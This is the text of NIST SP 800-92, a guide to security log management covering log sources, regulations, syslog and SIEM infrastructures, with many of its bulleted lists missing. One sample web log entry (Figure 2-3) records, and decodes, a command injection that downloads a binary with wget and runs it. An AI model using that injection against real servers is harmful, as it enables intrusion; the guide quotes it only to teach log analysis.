NIST SP 800-92 日本語訳

Special Publication 800-92

Karen Kent Murugiah Souppaya

The Information Technology Laboratory (ITL) at the National Institute of Standards and Technology (NIST) promotes the U.S. economy and public welfare by providing technical leadership for the nation’s measurement and standards infrastructure. ITL develops tests, test methods, reference data, proof of concept implementations, and technical analysis to advance the development and productive use of information technology. ITL’s responsibilities include the development of technical, physical, administrative, and management standards and guidelines for the cost-effective security and privacy of sensitive unclassified information in Federal computer systems. This Special Publication 800-series reports on ITL’s research, guidance, and outreach efforts in computer security and its collaborative activities with industry, government, and academic organizations.

National Institute of Standards and Technology Special Publication 800-92 Natl. Inst. Stand. Technol. Spec. Publ. 800-92, 72 pages (September 2006)

Certain commercial entities, equipment, or materials may be identified in this document in order to describe an experimental procedure or concept adequately. Such identification is not intended to imply recommendation or endorsement by the National Institute of Standards and Techn ology, nor is it intended to imply that the entities, materials, or equipment are necessarily the best available for the purpose.

原本PDFの抜粋画像

Acknowledgements

The authors, Karen Kent and Murugiah Souppaya of the National Institute of Standards and Technology (NIST), wish to thank their colleagues who reviewed drafts of this document and contributed to its technical content, especially Bill Burr, Elizabeth Chew, Tim Grance, Bill MacGregor, Stephen Quinn, and Matthew Scholl of NIST, and Stephen Green, Joseph Nusbaum, Angela Orebaugh, Dennis Pickett, and Steven Sharma of Booz Allen Hamilton. The authors particularly want to thank Anton Chuvakin of LogLogic and Michael Gerdes for their careful review and many contributions to improving the quality of this publication. The authors would also like to express their thanks to security experts Kurt Dillard of Microsoft, Dean Farrington of Wells Fargo Bank, Raffael Marty of ArcSight, Greg Shipley of Neohapsis, and Randy Smith of the Monterey Technology Group, as well as representatives from the Department of Energy, the Department of Health and Human Services, the Department of Homeland Security, the Department of State, the Department of Treasury, the Environmental Protection Agency, the National Institutes of Health, and the Social Security Administration, for their valuable comments and suggestions.

Trademarks

All names are registered trademarks or trademarks of their respective companies.

This page has been left blank intentionally.

Executive Summary

A log is a record of the events occurring within an organization’s systems and networks. Logs are composed of log entries; each entry contains information related to a specific event that has occurred within a system or network. Many logs within an organization contain records related to computer security. These computer security logs are generated by many sources, including security software, such as antivirus software, firewalls, and intrusion detection and prevention systems; operating systems on servers, workstations, and networking equipment; and applications.

The number, volume, and variety of computer security logs have increased greatly, which has created the need for computer security log management—the process for generating, transmitting, storing, analyzing, and disposing of computer security log data. Log management is essential to ensuring that computer security records are stored in sufficient detail for an appropriate period of time. Routine log analysis is beneficial for identifying security incidents, policy violations, fraudulent activity, and operational problems. Logs are also useful when performing auditing and forensic analysis, supporting internal investigations, establishing baselines, and identifying operational trends and long-term problems. Organizations also may store and analyze certain logs to comply with Federal legislation and regulations, including the Federal Information Security Management Act of 2002 (FISMA), the Health Insurance Portability and Accountability Act of 1996 (HIPAA), the Sarbanes-Oxley Act of 2002 (SOX), the Gramm-Leach-Bliley Act (GLBA), and the Payment Card Industry Data Security Standard (PCI DSS).

A fundamental problem with log management that occurs in many organizations is effectively balancing a limited quantity of log management resources with a continuous supply of log data. Log generation and storage can be complicated by several factors, including a high number of log sources; inconsistent log content, formats, and timestamps among sources; and increasingly large volumes of log data. Log management also involves protecting the confidentiality, integrity, and availability of logs. Another problem with log management is ensuring that security, system, and network administrators regularly perform effective analysis of log data. This publication provides guidance for meeting these log management challenges.

Implementing the following recommendations should assist in facilitating more efficient and effective log management for Federal departments and agencies.

Organizations should establish policies and procedures for log management.

To establish and maintain successful log management activities, an organization should develop standard processes for performing log management. As part of the planning process, an organization should define its logging requirements and goals. Based on those, an organization should then develop policies that clearly define mandatory requirements and suggested recommendations for log management activities, including log generation, transmission, storage, analysis, and disposal. An organization should also ensure that related policies and procedures incorporate and support the log management requirements and recommendations. The organization’s management should provide the necessary support for the efforts involving log management planning, policy, and procedures development.

Requirements and recommendations for logging should be created in conjunction with a detailed analysis of the technology and resources needed to implement and maintain them, their security implications and value, and the regulations and laws to which the organization is subject (e.g., FISMA, HIPAA, SOX). Generally, organizations should require logging and analyzing the data that is of greatest importance, and also have non-mandatory recommendations for which other types and sources of data should be logged and analyzed if time and resources permit. In some cases, organizations choose to have all or nearly all log data generated and stored for at least a short period of time in case it is needed, which favors security considerations over usability and resource usage, and also allows for better decision-making in some cases. When establishing requirements and recommendations, organizations should strive to be flexible since each system is different and will log different amounts of data than other systems.

The organization’s policies and procedures should also address the preservation of original logs. Many organizations send copies of network traffic logs to centralized devices, as well as use tools that analyze and interpret network traffic. In cases where logs may be needed as evidence, organizations may wish to acquire copies of the original log files, the centralized log files, and interpreted log data, in case there are any questions regarding the fidelity of the copying and interpretation processes. Retaining logs for evidence may involve the use of different forms of storage and different processes, such as additional restrictions on access to the records.

Organizations should prioritize log management appropriately throughout the organization.

After an organization defines its requirements and goals for the log management process, it should then prioritize the requirements and goals based on the organization’s perceived reduction of risk and the expected time and resources needed to perform log management functions. An organization should also define roles and responsibilities for log management for key personnel throughout the organization, including establishing log management duties at both the individual system level and the log management infrastructure level.

Organizations should create and maintain a log management infrastructure.

A log management infrastructure consists of the hardware, software, networks, and media used to generate, transmit, store, analyze, and dispose of log data. Log management infrastructures typically perform several functions that support the analysis and security of log data. After establishing an initial log management policy and identifying roles and responsibilities, an organization should next develop one or more log management infrastructures that effectively support the policy and roles. Organizations should consider implementing log management infrastructures that includes centralized log servers and log data storage. When designing infrastructures, organizations should plan for both the current and future needs of the infrastructures and the individual log sources throughout the organization. Major factors to consider in the design include the volume of log data to be processed, network bandwidth, online and offline data storage, the security requirements for the data, and the time and resources needed for staff to analyze the logs.

Organizations should provide proper support for all staff with log management responsibilities.

To ensure that log management for individual systems is performed effectively throughout the organization, the administrators of those systems should receive adequate support. This should include disseminating information, providing training, designating points of contact to answer questions, providing specific technical guidance, and making tools and documentation available.

Organizations should establish standard log management operational processes.

The major log management operational processes typically include configuring log sources, performing log analysis, initiating responses to identified events, and managing long-term storage. Administrators have other responsibilities as well, such as the following:

This page has been left blank intentionally.

The National Institute of Standards and Technology (NIST) developed this document in furtherance of its statutory responsibilities under the Federal Information Security Management Act (FISMA) of 2002, Public Law 107-347.

NIST is responsible for developing standards and guidelines, including minimum requirements, for providing adequate information security for all agency operations and assets; but such standards and guidelines shall not apply to national security systems. This guideline is consistent with the requirements of the Office of Management and Budget (OMB) Circular A-130, Section 8b(3), “Securing Agency Information Systems,” as analyzed in A-130, Appendix IV: Analysis of Key Sections. Supplemental information is provided in A-130, Appendix III.

This guideline has been prepared for use by Federal agencies. It may be used by nongovernmental organizations on a voluntary basis and is not subject to copyright, though attribution is desired.

Nothing in this document should be taken to contradict standards and guidelines made mandatory and binding on Federal agencies by the Secretary of Commerce under statutory authority, nor should these guidelines be interpreted as altering or superseding the existing authorities of the Secretary of Commerce, Director of the OMB, or any other Federal official.

This publication seeks to assist organizations in understanding the need for sound computer security log management. It provides practical, real-world guidance on developing, implementing, and maintaining effective log management practices throughout an enterprise. The guidance in this publication covers several topics, including establishing log management infrastructures, and developing and performing robust log management processes throughout an organization. The publication presents log management technologies from a high-level viewpoint, and it is not a step-by-step guide to implementing or using log management technologies.

This publication has been created for computer security staff and program managers; system, network, and application administrators; computer security incident response teams; and others who are responsible for performing duties related to computer security log management.

The remainder of this publication is organized into four major sections. Section 2 provides an introduction to computer security log management, including an explanation of log management needs an organization might have and the challenges involved in log management. Section 3 discusses the components, architectures, and functions of log management infrastructures. Section 4 provides recommendations for planning log management, such as defining roles and responsibilities and creating feasible logging policies. Section 5 explains the processes that an organization should develop and perform for log management operations.

The publication also contains several appendices with supporting material. Appendices A and B contain a glossary and acronym list, respectively. Appendix C lists tools and online and print resources that are useful references for gaining a better understanding of log management. Appendix D contains an index for the publication.

A log is a record of the events occurring within an organization’s systems and networks. Logs are composed of log entries; each entry contains information related to a specific event that has occurred within a system or network. Originally, logs were used primarily for troubleshooting problems, but logs now serve many functions within most organizations, such as optimizing system and network performance, recording the actions of users, and providing data useful for investigating malicious activity. Logs have evolved to contain information related to many different types of events occurring within networks and systems. Within an organization, many logs contain records related to computer security; common examples of these computer security logs are audit logs that track user authentication attempts and security device logs that record possible attacks. This guide addresses only those logs that typically contain computer security-related information.¹

Because of the widespread deployment of networked servers, workstations, and other computing devices, and the ever-increasing number of threats against networks and systems, the number, volume, and variety of computer security logs has increased greatly. This has created the need for computer security log management, which is the process for generating, transmitting, storing, analyzing, and disposing of computer security log data. This section of the document discusses the needs and challenges in computer security log management. Section 2.1 explains the basics of computer security logs. Section 2.2 discusses the laws, regulations, and operational needs involved with log management. Section 2.3 explains the most common log management challenges, and Section 2.4 offers high-level recommendations for meeting them.

Logs can contain a wide variety of information on the events occurring within systems and networks.² This section describes the following categories of logs of particular interest:

Under different sets of circumstances, many logs created within an organization could have some relevance to computer security. For example, logs from network devices such as switches and wireless access points, and from programs such as network monitoring software, might record data that could be of use in computer security or other information technology (IT) initiatives, such as operations and audits, as well as in demonstrating compliance with regulations. However, for computer security these logs are generally used on an as-needed basis as supplementary sources of information. This document focuses on the types of logs that are most often deemed to be important by organizations in terms of computer security. Organizations should consider the value of each potential source of computer security log data when designing and implementing a log management infrastructure.

Most of the sources of the log entries run continuously, so they generate entries on an ongoing basis. However, some sources run periodically, so they generate entries in batches, often at regular intervals.

This section notes any log sources that work in batch mode because this can have a significant impact on the usefulness of their logs for incident response and other time-sensitive efforts.

Most organizations use several types of network-based and host-based security software to detect malicious activity, protect systems and data, and support incident response efforts. Accordingly, security software is a major source of computer security log data. Common types of network-based and host-based security software include the following:

Figure 2-1 contains several examples of security software log entries.⁷

Intrusion Detection System [**] [1:1407:9] SNMP trap udp [**] [Classification: Attempted Information Leak] [Priority: 2] 03/06-8:14:09.082119 192.168.1.167:1052 -> 172.30.128.27:162 UDP TTL:118 TOS:0x0 ID:29101 IpLen:20 DgmLen:87

Personal Firewall 3/6/2006 8:14:07 AM,"Rule ""Block Windows File Sharing"" blocked (192.168.1.54, netbios-ssn(139)).","Rule ""Block Windows File Sharing"" blocked (192.168.1.54, netbios-ssn(139)). Inbound TCP connection. Local address,service is (KENT(172.30.128.27),netbios-ssn(139)). Remote address,service is (192.168.1.54,39922). Process name is ""System""." 3/3/2006 9:04:04 AM,Firewall configuration updated: 398 rules.,Firewall configuration updated: 398 rules.

Antivirus Software, Log 1 3/4/2006 9:33:50 AM,Definition File Download,KENT,userk,Definition downloader 3/4/2006 9:33:09 AM,AntiVirus Startup,KENT,userk,System 3/3/2006 3:56:46 PM,AntiVirus Shutdown,KENT,userk,System

Antivirus Software, Log 2 240203071234,16,3,7,KENT,userk,,,,,,,16777216,"Virus definitions are current.",0,,0,,,,,0,,,,,,,,,,SAVPROD,{ xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx },End User,(IP)-192.168.1.121,,GROUP,0:0:0:0:0:0,9.0.0.338,,,,,,,,,,,,,,,

Antispyware Software DSO Exploit: Data source object exploit (Registry change, nothing done) HKEY_USERS\S-1-5-19\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\1004!=W=3

Figure 2-1. Security Software Log Entry Examples

Operating systems (OS) for servers, workstations, and networking devices (e.g., routers, switches) usually log a variety of information related to security. The most common types of security-related OS data are as follows:

OS logs might also contain information from security software and other applications running on the system. Section 2.1.3 provides more information on application log data.

OS logs are most beneficial for identifying or investigating suspicious activity involving a particular host. After suspicious activity is identified by security software, OS logs are often consulted to get more information on the activity. For example, a network security device might detect an attack against a particular host; that host’s OS logs might indicate if a user was logged into the host at the time of the attack and if the attack was successful. Many OS logs are created in syslog format; Section 3.3 discusses syslog in detail and provides examples of syslog log entries. Other OS logs, such as those on Windows systems, are stored in proprietary formats. Figure 2-2 gives an example of log data exported from a Windows security log.

Event Type: Success Audit Event Source:Security Event Category: (1) Event ID: 517 Date: 3/6/2006 Time: 2:56:40 PM User: NT AUTHORITY\SYSTEM Computer: KENT Description: The audit log was cleared Primary User Name: SYSTEM Primary Domain: NT AUTHORITY Primary Logon ID: (0x0,0x3F7) Client User Name: userk Client Domain: KENT Client Logon ID: (0x0,0x28BFD)

Figure 2-2. Operating System Log Entry Example

Operating systems and security software provide the foundation and protection for applications, which are used to store, access, and manipulate the data used for the organization’s business processes. Most organizations rely on a variety of commercial off-the-shelf (COTS) applications, such as e-mail servers and clients, Web servers and browsers, file servers and file sharing clients, and database servers and clients. Many organizations also use various COTS or government off-the-shelf (GOTS) business applications such as supply chain management, financial management, procurement systems, enterprise resource planning, and customer relationship management. In addition to COTS and GOTS software, most organizations also use custom-developed applications tailored to their specific requirements.⁸

Some applications generate their own log files, while others use the logging capabilities of the OS on which they are installed. Applications vary significantly in the types of information that they log. The following lists some of the most commonly logged types of information and the potential benefits of each:⁹

Much of this information, particularly for applications that are not used through unencrypted network communications, can only be logged by the applications, which makes application logs particularly valuable for application-related security incidents, auditing, and compliance efforts. However, these logs are often in proprietary formats that make them more difficult to use, and the data they contain is often highly context-dependent, necessitating more resources to review their contents.

Figure 2-3 contains a sample log entry from a Web server log, along with an explanation of the information recorded in the entry.

172.30.128.27 - - [14/Oct/2005:05:41:18 -0500] "GET /awstats/awstats.pl?config dir=|echo;echo%20YYY;cd%20%2ftmp%3bwget%20192%2e168%2e1%2e214%2fnikons%3bchmod%20%2bx%20nikons%3b%2e%2fnikons;echo%20YYY;echo| HTTP/1.1" 302 494

172.30.128.27 IP address of the host that initiated the request

- Indicates that the information was not available (this server is not configured to put any information in the second field)

- User ID supplied for HTTP authentication; in this case, no authentication was performed

[14/Oct/2005:05:41:18 -0500] Date and time that the Web server completed handling the request

GET HTTP method

/awstats/awstats.pl URL in the request

config dir=|echo;echo%20YYY;cd%20%2ftmp%3bwget%20192%2e168%2e1%2e214%2fnikons%3bchmod%20%2bx%20nikons%3b%2e%2fnikons;echo%20YYY;echo| Argument for the request. Each % followed by two hexadecimal characters is a hex encoding of an ASCII character. For example, hex 20 is equivalent to decimal 32, and ASCII character 32 is a space; therefore, %20 is equivalent to a space. The ASCII equivalent of the log entry above is shown below.¹⁰

config dir=|echo;echo YYY;cd /tmp;wget 192.168.1.214/nikons;chmod +x nikons;/.nikons; echo YYY;echo|

HTTP/1.1 Protocol and protocol version used to make the request

302 Status code for the response; in the HTTP protocol standards, code 302 corresponds to “found”

494 Size of the response in bytes

Figure 2-3. Web Server Log Entry Examples

The categories of logs described in Sections 2.1.1 through 2.1.3 typically contain different types of information. Accordingly, some logs are generally more likely than others to record information that would be helpful for different situations, such as detecting attacks, fraud, and inappropriate usage. For each type of situation, certain logs are typically the most likely to contain detailed information on the activity in question. Other logs typically contain less detailed information, and are often only helpful for correlating events recorded in the primary log types. For example, an intrusion detection system could record malicious commands issued to a server from an external host; this would be a primary source of attack information. An incident handler could then review a firewall log to look for other connection attempts from the same source IP address; this would be a secondary source of attack information.

Administrators using logs should also be mindful of the trustworthiness of each log source. Log sources that are not properly secured, including insecure transport mechanisms, are more susceptible to log configuration changes and log alteration. Of course, administrators should be particularly cautious about the accuracy of logs from hosts that have been attacked successfully; it is usually prudent to examine other logs as well.

Log management can benefit an organization in many ways. It helps to ensure that computer security records are stored in sufficient detail for an appropriate period of time. Routine log reviews and analysis are beneficial for identifying security incidents, policy violations, fraudulent activity, and operational problems shortly after they have occurred, and for providing information useful for resolving such problems. Logs can also be useful for performing auditing and forensic analysis, supporting the organization’s internal investigations, establishing baselines, and identifying operational trends and long-term problems.

Besides the inherent benefits of log management, a number of laws and regulations further compel organizations to store and review certain logs. The following is a listing of key regulations, standards, and guidelines that help define organizations’ needs for log management:

Section 4.22 specifies that documentation of actions and activities need to be retained for at least six years.

Most organizations face similar log management-related challenges, which have the same underlying problem: effectively balancing a limited amount of log management resources with an ever-increasing supply of log data. This section discusses the most common types of challenges, divided into three groups. First, there are several potential problems with the initial generation of logs because of their variety and prevalence. Second, the confidentiality, integrity, and availability of generated logs could be breached inadvertently or intentionally. Finally, the people responsible for performing log analysis are often inadequately prepared and supported. Sections 2.3.1 through 2.3.3 discuss each of these three categories of log challenges.

In a typical organization, many hosts’ OSs, security software, and other applications generate and store logs. This complicates log management in the following ways:

To facilitate analysis of logs, organizations often need to implement automated methods of converting logs with different content and formats to a single standard format with consistent data field representations. Inconsistent log formats and data field representations also present challenges to people reviewing logs, who need to understand the meaning of various data fields in each log to perform a thorough review.

Because most hosts within an organization typically log some computer security-related information, often with multiple logs per host, the number of logs within an organization can be quite high. Many logs record large volumes of data on a daily basis, so the total daily volume of log data within an organization is often overwhelming. This impacts the resources needed to store the data for the appropriate length of time, as described in Section 2.3.2, and to perform reviews of the data, as described in Section 2.3.3. The distributed nature of logs, inconsistent log formats, and volume of logs all make the management of log generation and storage challenging.

Because logs contain records of system and network security, they need to be protected from breaches of their confidentiality and integrity. For example, logs might intentionally or inadvertently capture sensitive information such as users’ passwords and the content of e-mails. This raises security and privacy concerns involving both the individuals that review the logs and others that might be able to access the logs through authorized or unauthorized means. Logs that are secured improperly in storage or in transit might also be susceptible to intentional and unintentional alteration and destruction. This could cause a variety of impacts, including allowing malicious activities to go unnoticed and manipulating evidence to conceal the identity of a malicious party. For example, many rootkits are specifically designed to alter logs to remove any evidence of the rootkits’ installation or execution.

Organizations also need to protect the availability of their logs. Many logs have a maximum size, such as storing the 10,000 most recent events, or keeping 100 megabytes of log data. When the size limit is reached, the log might overwrite old data with new data or stop logging altogether, both of which would cause a loss of log data availability. To meet data retention requirements, organizations might need to keep copies of log files for a longer period of time than the original log sources can support, which necessitates establishing log archival processes. Because of the volume of logs, it might be appropriate in some cases to reduce the logs by filtering out log entries that do not need to be archived. The confidentiality and integrity of the archived logs also need to be protected.

Within most organizations, network and system administrators have traditionally been responsible for performing log analysis—studying log entries to identify events of interest. It has often been treated as a low-priority task by administrators and management because other duties of administrators, such as handling operational problems and resolving security vulnerabilities, necessitate rapid responses. Administrators who are responsible for performing log analysis often receive no training on doing it efficiently and effectively, particularly on prioritization. Also, administrators often do not receive tools that are effective at automating much of the analysis process, such as scripts and security software tools (e.g., host-based intrusion detection products, security information and event management software). Many of these tools are particularly helpful in finding patterns that humans cannot easily see, such as correlating entries from multiple logs that relate to the same event. Another problem is that many administrators consider log analysis to be boring and to provide little benefit for the amount of time required. Log analysis is often treated as reactive—something to be done after a problem has been identified through other means—rather than proactive, to identify ongoing activity and look for signs of impending problems. Traditionally, most logs have not been analyzed in a real-time or near-real-time manner. Without sound processes for analyzing logs, the value of the logs is significantly reduced.

Despite the many challenges an organization faces in log management, there are a few key practices an organization can follow to avoid and even solve many of these obstacles it confronts. The following four measures give a brief explanation of these solutions:

Many logs within an organization contain records related to computer security events occurring within systems and networks. For example, most organizations use several types of security software, such as antivirus software, firewalls, and intrusion prevention systems, to detect malicious activity and protect systems and data from damage. Security software is usually the primary source of computer security logs. OSs for servers, workstations, and networking equipment usually log a variety of information related to security, such as system events and audit records. Another common type of log generator is applications, which may send information to OS logs or application-specific logs.

The number, volume, and variety of computer security logs has increased greatly, which has created the need for computer security log management—the process for generating, transmitting, storing, analyzing, and disposing of computer security log data. Log management helps to ensure that computer security records are stored in sufficient detail for an appropriate period of time. Routine log analysis is beneficial for identifying security incidents, policy violations, fraudulent activity, and operational problems. Logs are also useful for establishing baselines, performing auditing and forensic analysis, supporting internal investigations, and identifying operational trends and long-term problems. Organizations may also store and analyze certain logs for compliance with FISMA, HIPAA, GLBA, SOX, and other key regulations, guidelines, and standards.

The fundamental problem with log management is balancing a limited amount of log management resources with a continuous supply of log data. Log generation and storage is complicated mainly by a high number of log sources, inconsistent log formats among sources, and a large volume of log data on a daily basis. Log management also involves protecting logs from breaches of their confidentiality and integrity, as well as supporting their availability. Another problem with log management is having network and system administrators perform regular, efficient, and effective analysis of log data. Key practices recommended to meet the main challenges in log management are as follows:

This page has been left blank intentionally.

A log management infrastructure consists of the hardware, software, networks, and media used to generate, transmit, store, analyze, and dispose of log data.²⁰ Most organizations have one or more log management infrastructures.²¹ This section describes the typical architecture of a log management infrastructure and how its components interact with each other. It then describes the basic functions performed within a log management infrastructure. Next, it examines the two major categories of log management software: syslog-based centralized logging software and security information and event management software. The section also describes additional types of software that may be useful within a log management infrastructure.

A log management infrastructure typically comprises the following three tiers:

The second tier—log analysis and storage—can vary greatly in complexity and structure. The simplest arrangement is a single log server that handles all log analysis and storage functions. Examples of more complex second tier arrangements are as follows:

Communications between log management infrastructure components typically occur over an organization’s regular networks because the hosts generating log data may be located throughout the organization’s networks. However, a physically or logically separate logging network can be used, particularly for getting logs from key devices (e.g., firewalls and network intrusion detection systems that often transfer large amounts of log data) and for transferring log data between log servers. During a widespread malware incident or other network-based attack, regular networks might be unstable or unavailable. Another motivation for using a separate logging network is protecting log data on the organization’s regular networks from eavesdropping. If a separate logging network is not used, logging communications on the regular network could be protected using additional security controls, such as data encryption. Another benefit of having a separate logging network is protecting those components that are only used for log management from attacks.

For a log management infrastructure, there might be some log-generating hosts that cannot automatically participate in the infrastructure, such as computers that are not network-connected, and legacy systems and appliance-based devices that cannot be configured to transfer their logs to the log servers. If their log data needs to be incorporated into the log management infrastructure, organizations can adopt out-of-band solutions such as manually transferring logs from a host to write-once media (e.g., CD-ROMs), and then copying the data from the media to a log server.²² A log management infrastructure also needs to accommodate hosts with intermittent or low-bandwidth connectivity, such as mobile hosts and hosts connecting through dial-up modems. These hosts may be severely limited as to how they can participate in the log management infrastructure, but this does not alter the importance of the logs that they contain.

An organization might have a single log management infrastructure for the entire enterprise, but it is more common to have multiple separate infrastructures that do not necessarily interoperate. Having a single log management infrastructure can provide a single point for reviewing all of the organization’s pertinent log data, but for larger organizations the size of such an infrastructure and the volume of data it would have to process and store typically make it infeasible. Larger organizations usually have multiple log management infrastructures, sometimes dozens or hundreds. The scope of each infrastructure can be dictated by many factors, including the organization’s internal structure, system types (e.g., a separate infrastructure for enterprise security systems), log types (e.g., a separate infrastructure for application audit logs), and facility locations.

Log management infrastructures typically perform several functions that assist in the storage, analysis, and disposal of log data. These functions are normally performed in such a way that they do not alter the original logs.²³ The following items describe common log management infrastructure functions:

A log management infrastructure usually encompasses most or all of the functions described in this section. Section 3.1 describes the components and architectures of log management infrastructures. The placement of some of the log functions among the three tiers of the log management infrastructure depends primarily on the type of log management software used. Log management infrastructures are typically based on one of the two major categories of log management software: syslog-based centralized logging software and security information and event management software. Sections 3.3 and 3.4 describe these types of software. Section 3.5 describes additional types of software that may be valuable within a log management infrastructure.

In a logging infrastructure based on the syslog protocol, each log generator uses the same high-level format for its logs and the same basic mechanism for transferring its log entries to a syslog server running on another host.²⁶ Syslog provides a simple framework for log entry generation, storage, and transfer, that any OS, security software, or application could use if designed to do so. Many log sources either use syslog as their native logging format or offer features that allow their log formats to be converted to syslog format. Section 3.3.1 describes the format of syslog messages, and Section 3.3.2 discusses the security features of common syslog implementations.²⁷

Syslog assigns a priority to each message based on the importance of the following two attributes:

Syslog uses message priorities to determine which messages should be handled more quickly, such as forwarding higher-priority messages more quickly than lower-priority ones. However, the priority does not affect which actions are performed on each message. Syslog can be configured to handle log entries differently based on each message’s facility and severity. For example, it could forward severity 0 kernel messages to a centralized server for further review, and simply record all severity 7 messages without forwarding them. However, syslog does not offer any more granularity than that in message handling; it cannot make decisions based on the source or content of a message.

Syslog is intended to be very simple, and each syslog message has only three parts. The first part specifies the facility and severity as numerical values. The second part of the message contains a timestamp and the hostname or IP address of the source of the log. The third part is the actual log message content. No standard fields are defined within the message content; it is intended to be human-readable, and not easily machine-parseable. This provides very high flexibility for log generators, which can place whatever information they deem important within the content field, but it makes automated analysis of the log data very challenging. A single source may use many different formats for its log message content, so an analysis program would need to be familiar with each format and be able to extract the meaning of the data within the fields of each format. This problem becomes much more challenging when log messages are generated by many sources. It might not be feasible to understand the meaning of all log messages, so analysis might be limited to keyword and pattern searches. Some organizations design their syslog infrastructures so that similar types of messages are grouped together or assigned similar codes, which can make log analysis automation easier to perform. Figure 3-1 shows several examples of syslog messages.

Mar 1 06:25:43 server1 sshd[23170]: Accepted publickey for server2 from 172.30.128.115 port 21011 ssh2

Mar 1 07:16:42 server1 sshd[9326]: Accepted password for murugiah from 10.20.30.108 port 1070 ssh2

Mar 1 07:16:53 server1 sshd[22938]: reverse mapping checking getaddrinfo for ip10.165.nist.gov failed - POSSIBLE BREAKIN ATTEMPT!

Mar 1 07:26:28 server1 sshd[22572]: Accepted publickey for server2 from 172.30.128.115 port 30606 ssh2

Mar 1 07:28:33 server1 su: BAD SU kkent to root on /dev/ttyp2

Mar 1 07:28:41 server1 su: kkent to root on /dev/ttyp2

Figure 3-1. Examples of Syslog Messages

Syslog was developed at a time when the security of logs was not a major consideration. Accordingly, it did not support the use of basic security controls that would preserve the confidentiality, integrity, and availability of logs. For example, most syslog implementations use the connectionless, unreliable User Datagram Protocol (UDP) to transfer logs between hosts. UDP provides no assurance that log entries are received successfully or in the correct sequence. Also, most syslog implementations do not perform any access control, so any host can send messages to a syslog server unless other security measures have been implemented to prevent this, such as using a physically separate logging network for communications with the syslog server, or implementing access control lists on network devices to restrict which hosts can send messages to the syslog server. Attackers can take advantage of this by flooding syslog servers with bogus log data, which can cause important log entries to go unnoticed or even potentially cause a denial of service. Another shortcoming of most syslog implementations is that they cannot use encryption to protect the integrity or confidentiality of logs in transit. Attackers on the network might monitor syslog messages containing sensitive information regarding system configurations and security weaknesses; attackers might also be able to perform man-in-the-middle attacks such as modifying or destroying syslog messages in transit.²⁹

As the security of logs has become a greater concern, several implementations of syslog have been created that place a greater emphasis on security.³⁰ Most have been based on a proposed standard, RFC 3195, which was designed specifically to improve the security of syslog.³¹ Implementations based on RFC 3195 can support log confidentiality, integrity, and availability through several features, including the following:

Because SHA is a FIPS-approved algorithm and MD5 is not, Federal agencies should use SHA instead of MD5 for message digests whenever feasible.³³

Some syslog implementations offer additional features that are not based on RFC 3195. The most common extra features are as follows:

Organizations using syslog implementations based on the original syslog message format and transfer protocol should consider using syslog implementations that offer stronger protection for confidentiality, integrity, and availability. Many of these implementations can directly replace existing syslog implementations. When evaluating syslog replacements, organizations should pay particular attention to interoperability, because many syslog clients and servers offer features not specified in RFC 3195 or other standard-related efforts. Also, organizations that use security information and event management software (as described in Section 3.4) to store or analyze syslog messages should ensure that their syslog clients and servers are fully compatible and interoperable with the security information and event management software.

Security information and event management (SIEM) software³⁴ is a relatively new type of centralized logging software compared to syslog.³⁵ SIEM products have one or more log servers that perform log analysis, and one or more database servers that store the logs.³⁶ Most SIEM products support two ways of collecting logs from log generators:

There are advantages and disadvantages to each method. The primary advantage of the agentless approach is that agents do not need to be installed, configured, and maintained on each logging host. The primary disadvantage is the lack of filtering and aggregation at the individual host level, which can cause significantly larger amounts of data to be transferred over networks and increase the amount of time it takes to filter and analyze the logs. Another potential disadvantage of the agentless method is that the SIEM server may need credentials for authenticating to each logging host. In some cases, only one of the two methods is feasible; for example, there might be no way to remotely collect logs from a particular host without installing an agent onto it.

SIEM products usually include support for several dozen types of log sources, such as OSs, security software, application servers (e.g., Web servers, e-mail servers), and even physical security control devices such as badge readers. For each supported log source type, except for generic formats such as syslog, the SIEM products typically know how to categorize the most important logged fields (e.g., the value in field 12 of application XYZ’s logs signifies the source IP address). This significantly improves the normalization, analysis, and correlation of log data over that performed by software with a less granular understanding of specific log sources and formats. Also, the SIEM software can perform event reduction by disregarding those data fields that are not significant to computer security, potentially reducing the SIEM software’s network bandwidth and data storage usage.

Regardless of how it receives log data (through agents or an agentless method), an SIEM server analyzes the data from all the different log sources, correlates events among the log entries, identifies and prioritizes significant events,³⁷ and initiates responses to events if desired. SIEM products usually include several features to help log monitoring staff, such as the following:

There are no standards specific to SIEM, so each SIEM product stores and transmits data in any format it chooses. However, SIEM products usually offer capabilities to protect the confidentiality, integrity, and availability of log data. For example, network communications between agents and the SIEM servers typically occur over the reliable TCP protocol and are encrypted. Also, agents and SIEM servers may need to provide credentials to each other and be authenticated successfully before they can transfer data (e.g., agent sending logs to server, server reconfiguring agent).

Other types of software may also be helpful for log management, including the following:

A log management infrastructure consists of the hardware, software, networks, and media used to generate, transmit, store, analyze, and dispose of log data. Log management infrastructures typically perform several functions that support the analysis of events, such as filtering, aggregation, normalization, and correlation. The infrastructures also provide assistance in making log data accessible and maintaining it through functions such as log parsing, viewing, analysis, rotation, and archival, as well as log file integrity checking.

Log management infrastructures, which are typically based on either syslog-based centralized logging software or security information and event management software, usually use a three-tiered design. The first tier encompasses the hosts that generate the original log data. The second tier includes centralized log servers, which perform consolidation and data storage. The third tier contains consoles that are used to monitor and review log data, and optionally may also be used to manage the log servers and clients. Communications between the tiers usually occur over the organization’s regular networks, but may be routed over a separate logging network instead. Organizations may also have log-generating hosts that cannot actively participate in the log management infrastructure, such as computers that are not network-connected, legacy systems, and appliance-based devices; administrators can either transfer data manually to the infrastructure from these hosts through removable media, or manage and analyze the data locally.

In a syslog-based centralized logging infrastructure, each log generator uses the same standard log format and forwards its log entries to a centralized log server. Because syslog is a simple standard protocol, it can be used by many OSs, security software programs, and applications. The original syslog standard does not offer much granularity in handling different types of events. Also, because it has few data fields, it can be very difficult to extract the meaning of the data logged for each event when multiple log sources are generating events. Syslog was developed when log security was not a major concern; the original syslog standard offers no features for preserving the confidentiality, integrity, and availability of logs.

To improve the security of syslog deployments, a new proposed standard has been created that offers stronger security capabilities, and various syslog implementations have added features such as reliable log delivery; transmission encryption, integrity protection, and authentication; robust filtering; automated event responses; log file encryption; and event rate limiting. Organizations using syslog should consider using secure syslog implementations, paying particular attention to interoperability because many syslog clients and servers offer features not specified in current standards.

